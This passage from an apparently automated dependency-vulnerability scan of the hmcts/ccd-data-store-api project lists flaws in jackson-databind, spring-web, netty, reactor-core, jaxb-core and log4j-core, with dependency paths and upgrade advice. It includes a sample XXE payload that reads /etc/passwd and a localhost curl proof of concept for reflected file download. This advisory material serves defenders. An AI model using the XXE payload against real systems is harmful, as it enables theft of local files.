Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the resolveForwardReference() method of CollectionDeserializer.CollectionReferringAccumulator, and in the corresponding map accumulators, which perform a linear search of the pending accumulator for every resolved object ID. An attacker can consume quadratic CPU and exhaust a request-time or worker-capacity budget by submitting JSON whose N unresolved object-ID references resolve in reverse order, costing roughly N*(N+1)/2 comparisons, measured at 2,003,000 for N=2,000. This requires the application to deserialize attacker-influenced JSON into an identity-enabled collection or map under @JsonIdentityInfo, though it needs no deep nesting or unusual JSON syntax.
Remediation
Upgrade tools.jackson.core:jackson-databind to version 3.1.7, 3.2.3 or higher.
References
high severity
- Vulnerable module: org.springframework:spring-web
- Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.github.openfeign.form:feign-form-spring@3.8.0 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.hateoas:spring-hateoas@3.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-servlet@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework.cloud:spring-cloud-openfeign-core@5.1.0-RC1 › io.github.openfeign:feign-form-spring@13.17 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-security@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
Overview
org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.
Affected versions of this package are vulnerable to Improper Input Validation. The protections against Reflected File Download attacks from CVE-2015-5211 may be bypassed depending on the browser used through the use of a jsessionid path parameter.
Remediation
Upgrade org.springframework:spring-web to version 4.3.29.RELEASE, 5.0.19.RELEASE, 5.1.18.RELEASE, 5.2.9.RELEASE or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpObjectDecoder component. An attacker can manipulate downstream request interpretation by sending specially crafted HTTP/1.0 requests containing both Transfer-Encoding: chunked and Content-Length headers. This can result in unauthorized access, cache poisoning, or bypassing security controls by causing downstream proxies or handlers to misinterpret message boundaries.
Note:
This is only exploitable if the deployment is behind a reverse proxy or load balancer that prioritizes the Content-Length header, the attacker can send HTTP/1.0 requests, and there is no additional HTTP/1.0 stripping layer between the attacker and the application.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to Use of Cache Containing Sensitive Information due to the setVaryHeader method in codec-http/src/main/java/io/netty/handler/codec/http/cors/CorsHandler.java. An attacker can retrieve another user’s cached sensitive response by sending a cross-origin request that causes CorsHandler to overwrite an application’s existing Vary header, such as Vary: Authorization or Vary: Cookie, with Vary: Origin. Because shared caches and CDNs key the response on the reduced Vary set, user-specific responses can be cached and served to unauthorized clients. This can expose authenticated content or other sensitive data to other application users.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.137.Final, 4.2.17.Final or higher.
References
high severity
new
- Vulnerable module: org.glassfish.jaxb:jaxb-core
- Introduced through: org.hibernate.orm:hibernate-core@6.6.58.Final and org.springframework.boot:spring-boot-starter-data-jpa@4.2.0-RC1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.hibernate.orm:hibernate-core@6.6.58.Final › org.glassfish.jaxb:jaxb-runtime@4.0.2 › org.glassfish.jaxb:jaxb-core@4.0.2
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-data-jpa@4.2.0-RC1 › org.springframework.boot:spring-boot-data-jpa@4.2.0-RC1 › org.springframework.boot:spring-boot-hibernate@4.2.0-RC1 › org.hibernate.orm:hibernate-core@6.6.58.Final › org.glassfish.jaxb:jaxb-runtime@4.0.2 › org.glassfish.jaxb:jaxb-core@4.0.2
Overview
Affected versions of this package are vulnerable to XML External Entity (XXE) Injection in the createParserFactory and createDocumentBuilderFactory methods of the XmlFactory class, which set only XMLConstants.FEATURE_SECURE_PROCESSING on the factory and leave disallow-doctype-decl, external-general-entities, external-parameter-entities, and load-external-dtd at their defaults. An attacker can read local files out of band by submitting XML containing an external entity declaration to an application that unmarshals untrusted documents. Exploitation depends on the JAXP implementation in use, because secure processing alone does not block external entity resolution on every implementation.
Details
XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.
For example, below is a sample XML document, containing an XML element- username.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<username>John</username>
</xml>
An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<username>&xxe;</username>
</xml>
Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.
Remediation
A fix was pushed into the master branch but not yet published.
References
high severity
- Vulnerable module: io.netty:netty-codec
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec@4.1.16.FinalRemediation: Upgrade to io.searchbox:jest@6.3.1.
Overview
io.netty:netty-codec is an event-driven asynchronous network application framework.
Affected versions of this package are vulnerable to Uncontrolled Memory Allocation while decoding a ZlibEncoded byte stream. An attacker could send a large ZlibEncoded byte stream to the Netty server, forcing the server to allocate all of its free memory to a single decoder.
Remediation
Upgrade io.netty:netty-codec to version 4.1.46.Final or higher.
References
high severity
- Vulnerable module: io.projectreactor:reactor-core
- Introduced through: org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.3
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.3 › org.springframework.cloud:spring-cloud-loadbalancer@4.3.3 › io.projectreactor:reactor-core@3.7.19Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-loadbalancer@5.0.3.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.3 › org.springframework.cloud:spring-cloud-loadbalancer@4.3.3 › io.projectreactor.addons:reactor-extra@3.5.5 › io.projectreactor:reactor-core@3.7.19Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-loadbalancer@5.0.3.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Flux.windowTimeout function when fairBackpressure is enabled. An attacker can cause the stream to hang indefinitely and exhaust system resources by maintaining long-lived connections and manipulating downstream read speeds.
Remediation
Upgrade io.projectreactor:reactor-core to version 3.8.7 or higher.
References
high severity
- Vulnerable module: io.projectreactor:reactor-core
- Introduced through: org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.3
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.3 › org.springframework.cloud:spring-cloud-loadbalancer@4.3.3 › io.projectreactor:reactor-core@3.7.19Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-loadbalancer@5.0.3.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.3 › org.springframework.cloud:spring-cloud-loadbalancer@4.3.3 › io.projectreactor.addons:reactor-extra@3.5.5 › io.projectreactor:reactor-core@3.7.19Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-loadbalancer@5.0.3.
Overview
Affected versions of this package are vulnerable to Race Condition in the Flux.bufferTimeout process with fairBackpressure enabled when a race condition occurs between flushing buffered items and the arrival of new upstream items. An attacker can cause the stream to hang indefinitely and exhaust resources by manipulating the timing of upstream item delivery to trigger this race condition.
Remediation
Upgrade io.projectreactor:reactor-core to version 3.8.7 or higher.
References
high severity
- Vulnerable module: org.springframework:spring-web
- Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.github.openfeign.form:feign-form-spring@3.8.0 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.hateoas:spring-hateoas@3.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-servlet@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework.cloud:spring-cloud-openfeign-core@5.1.0-RC1 › io.github.openfeign:feign-form-spring@13.17 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-security@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
Overview
org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.
Affected versions of this package are vulnerable to Reflected File Download (RFD). A reflected file download attack is possible when the filename attribute of the Content-Disposition header is derived from user-supplied input.
PoC
curl 'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -
Remediation
Upgrade org.springframework:spring-web to version 5.2.3, 5.1.13, 5.0.16 or higher.
References
high severity
- Vulnerable module: org.apache.logging.log4j:log4j-core
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to org.elasticsearch:elasticsearch@9.5.5.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7
Overview
org.apache.logging.log4j:log4j-core is a logging library for Java.
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output in the XmlLayout plugin. An attacker can cause log events to be silently lost or malformed by injecting XML 1.0 forbidden characters into log messages or MDC values. This may result in malformed XML output, which can cause downstream log-processing systems to drop affected records or prevent log events from being delivered to their intended destinations.
Remediation
A fix was pushed into the master branch but not yet published.
References
high severity
- Vulnerable module: org.apache.logging.log4j:log4j-core
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to org.elasticsearch:elasticsearch@9.5.5.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7Remediation: Upgrade to io.searchbox:jest@6.3.1.
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.apache.logging.log4j:log4j-core@2.7
Overview
org.apache.logging.log4j:log4j-core is a logging library for Java.
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output in the Log4j1XmlLayout plugin. An attacker can cause log events to be silently lost or downstream log processing systems to drop or fail to index affected records by introducing XML 1.0 forbidden characters into log messages, resulting in malformed XML output that conforming XML parsers reject with a fatal error.
Remediation
A fix was pushed into the master branch but not yet published.
References
high severity
- Vulnerable module: io.netty:netty-codec
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec@4.1.16.FinalRemediation: Upgrade to io.searchbox:jest@6.3.1.
Overview
io.netty:netty-codec is an event-driven asynchronous network application framework.
Affected versions of this package are vulnerable to Denial of Service (DoS). SnappyFrameDecoder doesn't restrict chunk length any mad buffer skippable chunks in an unnecessary way, leading to excessive memory usage. This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file), or by sending a huge skippable chunk.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade io.netty:netty-codec to version 4.1.68.Final or higher.
References
high severity
- Vulnerable module: io.netty:netty-codec
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
